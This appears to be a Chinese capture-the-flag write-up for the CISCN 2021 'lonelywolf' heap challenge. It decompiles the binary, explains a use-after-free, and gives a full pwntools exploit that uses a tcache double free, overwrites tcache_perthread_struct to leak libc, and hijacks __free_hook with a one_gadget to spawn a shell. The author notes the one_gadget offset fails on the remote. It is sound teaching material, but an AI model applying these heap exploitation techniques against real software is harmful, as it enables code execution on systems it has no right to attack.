Featured image of post [CISCN 2021 初赛]lonelywolf wp

[CISCN 2021 初赛]lonelywolf wp

字数: 1494

这道题的环境是 libc 2.27,nssctf 没给,还是我看题解才知道的。

题面

就给了二进制。

分析

libc 2.27。tcache 基本没什么保护。
checksec:

1
2
3
4
5
6
7
8
❯ pwn checksec ./lonelywolf
[*] '/data/project/ctf-repo/pwn/nssctf/CISCN_2021_初赛-lonelywolf/lonelywolf'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled

保护全开也是正常。ida 静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  _QWORD v3[5]; // [rsp+0h] [rbp-28h] BYREF

  v3[1] = __readfsqword(0x28u);
  sub_AC0(a1, a2, a3);
  while ( 1 )
  {
    puts(s: "1. allocate");
    puts(s: "2. edit");
    puts(s: "3. show");
    puts(s: "4. delete");
    puts(s: "5. exit");
    __printf_chk(a1: 1, a2: "Your choice: ");
    __isoc99_scanf(a1: &unk_F44, a2: v3);
    switch ( v3[0] )
    {
      case 1LL:
        allocate();
        break;
      case 2LL:
        edit();
        break;
      case 3LL:
        show();
        break;
      case 4LL:
        delete();
        break;
      case 5LL:
        exit(status: 0);
      default:
        puts(s: "Unknown");
        break;
    }
  }
}

allocate()

堆分配,限定 index 要为 0,也就是只能控制一个地址。且 size 不能大于 0x78。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned __int64 allocate()
{
  size_t v1; // rbx
  void *v2; // rax
  size_t size; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-10h]

  v4 = __readfsqword(0x28u);
  __printf_chk(a1: 1, a2: "Index: ");
  __isoc99_scanf(a1: &unk_F44, a2: &size);
  if ( size == 0 )
  {
    __printf_chk(a1: 1, a2: "Size: ");
    __isoc99_scanf(a1: &unk_F44, a2: &size);
    v1 = size;
    if ( size > 0x78 )
    {
      __printf_chk(a1: 1, a2: "Too large");
    }
    else
    {
      v2 = malloc(size);
      if ( v2 != nullptr )
      {
        size_bss = v1;
        buf = v2;
        puts(s: "Done!");
      }
      else
      {
        puts(s: "allocate failed");
      }
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

edit() & show()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
unsigned __int64 edit()
{
  _BYTE *v0; // rbx
  char *v1; // rbp
  __int64 v3; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-20h]

  v4 = __readfsqword(0x28u);
  __printf_chk(a1: 1, a2: "Index: ");
  __isoc99_scanf(a1: &unk_F44, a2: &v3);
  if ( v3 == 0 && buf != nullptr )
  {
    __printf_chk(a1: 1, a2: "Content: ");
    v0 = buf;
    if ( size_bss != 0 )
    {
      v1 = (char *)buf + size_bss;
      while ( 1 )
      {
        read(fd: 0, buf: v0, nbytes: 1u);
        if ( *v0 == 10 )
          break;
        if ( ++v0 == v1 )
          return __readfsqword(0x28u) ^ v4;
      }
      *v0 = 0;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

unsigned __int64 show()
{
  __int64 v1; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  __printf_chk(a1: 1, a2: "Index: ");
  __isoc99_scanf(a1: &unk_F44, a2: &v1);
  if ( v1 == 0 && buf != nullptr )
    __printf_chk(a1: 1, a2: "Content: %s\n", (const char *)buf);
  return __readfsqword(0x28u) ^ v2;
}

delete()

UAF。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
unsigned __int64 delete()
{
  __int64 v1; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  __printf_chk(a1: 1, a2: "Index: ");
  __isoc99_scanf(a1: &unk_F44, a2: &v1);
  if ( v1 == 0 && buf != nullptr )
    free(ptr: buf);
  return __readfsqword(0x28u) ^ v2;
}

整理是 UAF 题,但是智能控制一个地址就比较难受了。

利用

这里的 index 直接写死为 0 就好了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def select(id: int):
    io.recvuntil(b"Your choice: ")
    io.sendline(str(id).encode())


def allocate(size: int):
    select(1)
    io.recvuntil(b"Index: ")
    io.sendline(b"0")
    io.recvuntil(b"Size: ")
    io.sendline(str(size).encode())


def edit(content: bytes):
    select(2)
    io.recvuntil(b"Index: ")
    io.sendline(b"0")
    io.recvuntil(b"Content: ")
    io.sendline(content)


def show():
    select(3)
    io.recvuntil(b"Index: ")
    io.sendline(b"0")


def delete():
    select(4)
    io.recvuntil(b"Index: ")
    io.sendline(b"0")


def debug():
    gdb.attach(
        io,
        gdbscript="""
        decompiler connect ida
               """,
    )

tcache double free

首先一个 tcache 的 double free 拿到堆基址:

1
2
3
4
5
6
7
allocate(0x70)
delete()
edit(p64(0) * 2)  # 清除 key
delete()
show()
heap_base_addr = u64(io.recvuntil(b"\x55")[-6:].ljust(8, b"\x00")) - 0x260
print("heap base address =", hex(heap_base_addr))

因为 2.27 后续版本给 tcache 加了 key 值比较防止 double free,所以第一次 free 的时候要先清除 key 再来 double free,否则直接 abort。

篡改 tcache_perthread_struct

拿到堆基址还有 double free 之后就能把 tcache_prethread_struct 放进 tcachebin 里对其篡改进而拿到 libc。

tcache_prethread_struct 的结构为:

1
2
3
4
5
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

核心看 glibc 堆的初步了解 这篇就能有比较好的了解。总而言之,拿到这个地址之后把这个地址大小的 count 给篡改为满(7),然后再把这个地址 free 了直接进 unsortedbins 里,就拿到 libc 基址。

1
edit(p64(heap_base_addr + 0x10))

1
2
3
4
5
allocate(0x70)
allocate(0x70)

edit(b"\x00" * 0x23 + b"\x07")  # 0x250 置 7
delete()

1
2
3
show()
libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x3EBCA0
print("libc base address =", hex(libc_base))

接着就是篡改 free_hook 变成 one_gadget 直接拿 shell。

1
2
free_hook = libc_base + libc.sym["__free_hook"]
one_gadget = libc_base + 0x10a2fc # 这里 one_gadget 和远程不一致,打不通

__free_hook 的 one_gadget

因为目前掌握的堆地址还是在 tcache_prethread_struct 上,所以再继续篡改,直接把 0x20 那块的入口改成 __free_hook:

1
edit(b"\x03" + b"\x00" * 0x3F + p64(free_hook))

这样 malloc 0x18 就能直接改写 __free_hook 了。

1
2
3
4
5
allocate(0x18)
edit(p64(one_gadget))
delete()

io.interactive()

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *

io = process("./lonelywolf")
#io = remote("node4.anna.nssctf.cn", 25638)
libc = ELF("./libc.so.6")

context.log_level = "info"


def select(id: int):
    io.recvuntil(b"Your choice: ")
    io.sendline(str(id).encode())


def allocate(size: int):
    select(1)
    io.recvuntil(b"Index: ")
    io.sendline(b"0")
    io.recvuntil(b"Size: ")
    io.sendline(str(size).encode())


def edit(content: bytes):
    select(2)
    io.recvuntil(b"Index: ")
    io.sendline(b"0")
    io.recvuntil(b"Content: ")
    io.sendline(content)


def show():
    select(3)
    io.recvuntil(b"Index: ")
    io.sendline(b"0")


def delete():
    select(4)
    io.recvuntil(b"Index: ")
    io.sendline(b"0")


def debug():
    gdb.attach(
        io,
        gdbscript="""
        decompiler connect ida
               """,
    )


allocate(0x70)
delete()
edit(p64(0) * 2)  # 清除 key
delete()
show()
heap_base_addr = u64(io.recvuntil(b"\x55")[-6:].ljust(8, b"\x00")) - 0x260
print("heap base address =", hex(heap_base_addr))
edit(p64(heap_base_addr + 0x10))
allocate(0x70)
allocate(0x70)

edit(b"\x00" * 0x23 + b"\x07")  # 0x250 置 7
delete()
show()
libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x3EBCA0
print("libc base address =", hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
one_gadget = libc_base + 0x10a2fc


edit(b"\x03" + b"\x00" * 0x3F + p64(free_hook))
allocate(0x18)
edit(p64(one_gadget))
delete()

io.interactive()